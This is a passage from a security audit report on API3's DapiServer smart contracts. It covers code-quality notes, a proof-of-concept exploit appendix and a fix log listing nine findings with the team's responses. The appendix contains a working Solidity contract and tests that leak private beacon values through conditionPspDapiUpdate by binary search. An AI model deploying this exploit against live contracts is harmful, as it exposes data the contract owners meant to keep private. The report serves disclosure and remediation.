     if (!hasRole(rootRole, manager)) {
         _setupRole(rootRole, manager);
         emit InitializedManager(rootRole, manager);
     }
 }
```

Figure D.5: access-control-registry/AccessControlRegistry.sol:L31-L38

Sort.sol

- **Remove the require(...) check.** The sort function is called by median only if the array's length is less than MAX_SORT_LENGTH.

```
uint256 internal constant MAX_SORT_LENGTH = 9;

function sort(int256[] memory array) internal pure {
     uint256 arrayLength = array.length;
     require(arrayLength <= MAX_SORT_LENGTH, "Array too long to sort");
```

Figure D.6: dapis/Sort.sol:L8-L14

```
function median(int256[] memory array) internal pure returns (int256) {
        uint256 arrayLength = array.length;
        if (arrayLength <= MAX_SORT_LENGTH) {
            sort(array);
```

Figure D.7: `dapis/Median.sol:L16-L18`

E. Proof-of-Concept Exploit

This appendix provides a proof-of-concept exploit for the issue detailed in TOB-API-8, along with a step-by-step explanation of the exploit methodology.

Consider the function `conditionPspDapiUpdate`.

```
    function conditionPspDapiUpdate(
        bytes32 subscriptionId, // solhint-disable-line no-unused-vars
        bytes calldata data,
        bytes calldata conditionParameters
    ) external override returns (bool) {
```

Figure E.1: `dapis/DapiServer.sol:L470-L474`

One of the three arguments expected by `conditionPspDapiUpdate`, the `subscriptionId` argument, is ignored. The `data` argument holds the ABI-encoded representation of an array of `beaconIds`. Lastly, `conditionParameters` simply contains an encoded numeric value.

A `beaconId` can be used as a key to access a beacon stored in the `dataPoints[]` mapping. A beacon is a value (e.g., the price of an asset) provided by a single Airnode endpoint. Similarly, a `dapiId` can be used as a key to access a dAPI stored in the `dataPoints[]` mapping. A dAPI is the median of a set of beacons. The system computes a `dapiId` by hashing the encoded version of its constituent `beaconIds`.

```
        bytes32 dapiId = keccak256(data);
        int224 currentDapiValue = dataPoints[dapiId].value;
```

Figure E.2: `dapis/DapiServer.sol:L475-L476`

When a new dAPI is updated, the previous value of that dAPI is saved in a local variable. Unused `dapiIds` point to a zero-value dAPI / beacon. If `data` contains a previously unseen list of `beaconIds`, the generated `dapiId` will point to a zero-value dAPI / beacon. This proof-of-concept exploit concerns a similar situation.

```
        require(
            dapiId == updateDapiWithBeacons(abi.decode(data, (bytes32[]))),
            "Data length not correct"
        );
```

Figure E.3: `dapis/DapiServer.sol:L477-L480`

The `dapiId` generated from the list of `beaconIds` provided through `data` will most likely point to a previously unused dAPI. A user interested in the value pointed to by `BEACONID_TARGET` could send [`BEACONID_TARGET`, `BEACONID_TARGET`] encoded as `data` to `conditionPspDapiUpdate`. This would update a previously unused dAPI to point to the median of a list of beacons, namely the slot containing `BEACONID_TARGET`.

```
        return
            calculateUpdateInPercentage(
                currentDapiValue,
                dataPoints[dapiId].value
            ) >= decodeConditionParameters(conditionParameters);
    }
```

Figure E.4: `dapis/DapiServer.sol:L481-L486`

The `calculateUpdateInPercentage` function calculates the difference between the new dAPI and zero; `calculateUpdateInPercentage` determines only the magnitude of the difference, so the sign of the original beacon is lost. The value is also multiplied by `HUNDRED_PERCENT`. The caller of `conditionPspDapiUpdate` can control the value of `conditionParameters` and can therefore gain a bit of information about the beacon through the following equation:

```
BEACON * HUNDRED_PERCENT >= THRESHOLD
```

By carefully repeating this process, a user could read a beacon value in the range `[0, 2**224/HUNDRED_PERCENT]`. Note that because this exploit would change the contract state, sending the exact same list of beacons twice would not produce the same result. The code in figure F.5 shows a contract through which one could execute this proof-of-concept exploit. This implementation assumes that there is an unused `dataPoint[]`. Also note that an active off-chain monitor could front-run each exploit attempt, making the attack more expensive or blocking its execution.

```
contract HackDapiServer{
    event BeaconIsGreaterOrEqualThan(bytes32, int);
    event BeaconIsLessThan(bytes32, int);
    event BeaconIs(bytes32, int);
    event Search(uint, uint, uint);

    mapping(bytes32 => uint) last;
    IDapiServer dapi;             //The target dapiServer

    constructor(IDapiServer _dapi){
        dapi=_dapi;
        require(dapi.HUNDRED_PERCENT() == 1e8, "Meh");
    }

    /* Returns true if the dapi.dataPoint[beaconId] value is greater or equal than
       the threshold

        Caveats and limitations:
         1- This implementation can not connect multiple HackDapiServer to the same
dapiServer
         2- Can not determine the beacon value sign.
         3- HUNDRED_PERCENT other than 1e8 is not supported
         4- Can not exfiltrate data about beacon values greater than MAX/HUNDRED_PERCENT
```

```
          5- timestamp can not be exfiltrated with this method
          6- An active off-chain monitor can disable it until reset

          1,2,3 can be fixed
     */
     function isBeaconGreaterOrEqualThan(bytes32 beaconId, int224 threshold) public
returns (bool result){
         require(threshold > 0, "Negative threshold not supported");
         bytes32[] memory beaconIds = new bytes32[](4);
         beaconIds[0] = beaconId;
         beaconIds[1] = beaconId;
         beaconIds[2] = beaconId;
         beaconIds[3] = keccak256(abi.encodePacked(beaconId, blockhash(0),
last[beaconId]));
         last[beaconId]+=1;

         bytes memory beaconIdsEnc = abi.encode(beaconIds);
         result = dapi.conditionPspDapiUpdate(0, beaconIdsEnc, abi.encode(1e8 *
threshold));

         if (result){
             emit BeaconIsGreaterOrEqualThan(beaconId, threshold);
         }else{
             emit BeaconIsLessThan(beaconId, threshold);
         }

     }

     /* Basic dichotomic search to divinate the value of certain beacon

         Note that this will find values in the range[1, int224.max/1e8]
     */
     function readBeacon(bytes32 beaconId) public returns (uint result){
         uint candidate;
         uint low = 0; //calculateUpdateInPercentage makes absolute values
         uint high = uint(uint224(type(int224).max/1e8)); //Conversion will fit positive
number
         while (high > low + 1){
             candidate = low + (high - low) / 2;
             emit Search(low, candidate, high);
             if(isBeaconGreaterOrEqualThan(beaconId, int224(int256(candidate)))){
                 low = candidate;
             }else{
                 high = candidate;
             }
         }
         result = low;
         emit BeaconIs(beaconId, int(result));
     }
}
```

Figure E.5: A contract that could be used in this proof-of-concept exploit

```
describe('Extra ToB tests', function () {
  it('Exfiltrate condition on-chain via Hack contract', async function () {
      const hackDapiServerFactory = await
hre.ethers.getContractFactory('HackDapiServer', roles.deployer);
      let hackDapiServer = await hackDapiServerFactory.deploy(dapiServer.address);
      let SECRET = 6;
      let timestamp = await testUtils.getCurrentTimestamp(hre.ethers.provider)+1;
      await setBeacon(templateId, SECRET, timestamp);
      expect(await hackDapiServer.isBeaconGreaterOrEqualThan(beaconId, 45000))
            .to.emit(hackDapiServer, 'BeaconIsLessThan')
            .withArgs(beaconId, 45000);
      expect(await hackDapiServer.isBeaconGreaterOrEqualThan(beaconId, 5))
            .to.emit(hackDapiServer, 'BeaconIsGreaterOrEqualThan')
            .withArgs(beaconId, 5);
      expect(await hackDapiServer.isBeaconGreaterOrEqualThan(beaconId, 6))
            .to.emit(hackDapiServer, 'BeaconIsGreaterOrEqualThan')
            .withArgs(beaconId, 6);
      expect(await hackDapiServer.isBeaconGreaterOrEqualThan(beaconId, 7))
            .to.emit(hackDapiServer, 'BeaconIsLessThan')
            .withArgs(beaconId, 7);
      expect(await hackDapiServer.isBeaconGreaterOrEqualThan(beaconId, 6))
            .to.emit(hackDapiServer, 'BeaconIsGreaterOrEqualThan')
            .withArgs(beaconId, 6);

  });
  it('Exfiltrate/Read value on-chain via Hack contract', async function () {
      const hackDapiServerFactory = await
hre.ethers.getContractFactory('HackDapiServer', roles.deployer);
      let hackDapiServer = await hackDapiServerFactory.deploy(dapiServer.address);
      let timestamp = await testUtils.getCurrentTimestamp(hre.ethers.provider)+1;

      let SECRET = 708627767408;
      await setBeacon(templateId, SECRET, timestamp);
      await expect(await hackDapiServer.readBeacon(beaconId))
           .to.emit(hackDapiServer, 'BeaconIs')
           .withArgs(beaconId, SECRET);

      for (let ind = 0; ind < 5; ind++) {
          let val = ethers.BigNumber.from(ethers.utils.randomBytes(20));
          timestamp += 10;
          await setBeacon(templateId, val, timestamp);
          await expect(await hackDapiServer.readBeacon(beaconId))
               .to.emit(hackDapiServer, 'BeaconIs')
               .withArgs(beaconId, val);
        }

  });
});
```

Figure E.6: Test code for the proof of concept

F. Fix Log

On March 25, 2022, Trail of Bits reviewed the fixes and mitigations implemented by the API3 team for issues identified in this report. The API3 team fixed seven of the issues reported in the original assessment and did not fix the other two. We reviewed each of the fixes to ensure that the proposed remediation would be effective. For additional information, please refer to the Detailed Fix Log.

ID	Title	Severity	Fix Status
1	Publish-subscribe protocol users are vulnerable to a denial of service	High	Fixed (PR 904)
2	Solidity compiler optimizations can be problematic	Informational	Not fixed
3	Decisions to opt out of a monetization scheme are irreversible	Medium	Fixed (PR 924)
4	Depositors can front-run request-blocking transactions	Medium	Fixed (PR 926)
5	Incompatibility with non-standard ERC20 tokens	Low	Fixed (PR 927)
6	Compromise of a single oracle enables limited control of the dAPI value	High	Not fixed
7	Project dependencies contain vulnerabilities	Undetermined	Fixed
8	DapiServer beacon data is accessible to all users	Low	Fixed (PR 954)
9	Misleading function name	Informational	Fixed (PR 952)

Detailed Fix Log

TOB-API-1: Publish-subscribe protocol users are vulnerable to a denial of service
Fixed. The API3 team fixed the issue by replacing `abi.encodePacked` with `abi.encode`.

TOB-API-2: Solidity compiler optimizations can be problematic
Not fixed. The API3 team responded to this finding as follows: “Considering the tradeoffs, we prefer to keep the optimizations enabled.”

TOB-API-3: Decisions to opt out of a monetization scheme are irreversible
Fixed. An Airnode can now change its status to `OptedOut` or `Inactive` regardless of its current status.

TOB-API-4: Depositors can front-run request-blocking transactions
Fixed. A maintainer or manager can now set a withdrawal waiting period of up to 30 days; however, this option is disabled by default.

TOB-API-5: Incompatibility with non-standard ERC20 tokens
Fixed. The contracts now use the SafeERC20 library for interactions with ERC20 tokens.

TOB-API-6: Compromise of a single oracle enables limited control of the dAPI value
Not fixed. The API3 team responded to this finding as follows:

> DapiServer uses median as the method for aggregating oracle responses. Median is used over other aggregation methods when robustness is preferred over accuracy, which is helpful because it minimizes the statistical assumptions you need to make about your oracle responses.
>
> The usage of median typically has two implications:
>
> a. We are doing a categorical kind of aggregation with the assumptions that:
>   - There are two kinds of answers: Honest and Dishonest
>   - Any Honest answer is acceptable
>   - 50%+ of the answers are Honest
>
> b. Data type is continuous, meaning that if oracle response A and oracle response B are acceptable, so is any number between A and B
>
> An oracle being able to vary the outcome between two Honest reports is intended behavior. There would only be an issue if they were able to manipulate the outcome to be smaller than the smallest Honest response or larger than the largest Honest response where the Honest responses are a majority. Therefore, we consider this issue to be a false positive and will not address it.

TOB-API-7: Project dependencies contain vulnerabilities
Fixed. The API3 team responded to this finding as follows: "Project dependencies were frozen for the audit, which is why they were outdated by the time they were audited. The dependencies are being tracked in the CI loop and the main branch is kept up to date."

TOB-API-8: DapiServer beacon data is accessible to all users
Fixed. The API3 team responded to this finding as follows:

> It is suggested that a contract can verify if an arbitrary Beacon value is above or below a specific value. This is done by checking the update condition of an uninitialized dAPI whose majority is composed of the respective Beacon. The problem in this scenario is that it is not possible for the reading contract to check if the dAPI is uninitialized, meaning that the 1 bit that will be inferred is not guaranteed to be correct. Furthermore, it can be assumed that attackers will consistently frontrun the reading transaction to initialize the dAPI beforehand, causing the reads to be incorrect whenever profitable. In short, whatever information that will be inferred in the proposed way will not be trustless, which makes it useless in the context of smart contracts. Therefore, we consider this issue to be a false positive.
>
> We updated the Beacon and dAPI update condition functions so that they always return `true` if the respective data point timestamp is zero and the update will set it to a non-zero value (PR 954). In the previous implementation, if the data point is uninitialized and the fulfillment data is near-zero, the condition would have returned `false` and no update would have been made. This is not desirable, because the readers will reject the uninitialized value due to its zero timestamp (even though the zero value is accurate). With the update, the Beacon/dAPI will be updated with the near-zero value to signal to the readers that this is an initialized data point with a near-zero value rather than an uninitialized data point.
>
> As a side effect, the update above makes this issue obsolete, as conditionPspDapiUpdate will always return `true` for an uninitialized dAPI if at least one of its Beacons are initialized.

TOB-API-9: Misleading function name
Fixed. The `conditionPspDapiUpdate` function can no longer be called to make state changes; it now requires `msg.sender` to be set to `address(0)` and can be called only off-chain.